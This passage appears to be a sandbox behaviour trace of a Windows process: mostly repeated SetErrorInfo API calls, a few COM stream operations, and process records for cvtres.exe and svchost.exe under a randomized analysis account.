[0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.428] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.429] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.430] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.432] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.433] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.437] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.438] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.439] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.440] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.440] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.440] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.441] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.441] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.441] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.441] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.441] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.462] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.465] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.467] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.474] SysStringLen (param_1=0x0) returned 0x0 [0065.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.478] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12d1b8 | out: ppstm=0x12d1b8*=0x1fe930) returned 0x0 [0065.482] IUnknown:AddRef (This=0x1fe930) returned 0x2 [0065.482] IStream:RemoteSeek (in: This=0x1fe930, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x12cfd0 | out: plibNewPosition=0x12cfd0) returned 0x0 [0065.486] ISequentialStream:RemoteWrite (in: This=0x1fe930, pv=0x29b9d0*=0x42, cb=0x658, pcbWritten=0x12cf20 | out: pcbWritten=0x12cf20*=0x658) returned 0x0 [0065.487] IUnknown:Release (This=0x1fe930) returned 0x1 [0065.487] IStream:Stat (in: This=0x1fe930, pstatstg=0x12d1e0, grfStatFlag=0x1 | out: pstatstg=0x12d1e0) returned 0x0 [0065.487] IStream:RemoteSeek (in: This=0x1fe930, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0065.487] ISequentialStream:RemoteRead (in: This=0x1fe930, pv=0x28b988, cb=0x659, pcbRead=0x12d1c8 | out: pv=0x28b988*=0x42, pcbRead=0x12d1c8*=0x658) returned 0x0 [0065.487] IUnknown:Release (This=0x1fe930) returned 0x0 [0065.487] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.487] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.487] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.487] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.487] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.487] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.487] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.488] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.488] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.488] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.495] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.595] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 Process: id = "5" image_name = "cvtres.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\cvtres.exe" page_root = "0x3b399000" os_pid = "0x804" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x290" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\RESFB40.tmp\" \"c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CSCFB2F.tmp\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 11 os_tid = 0x814 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x971d000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" 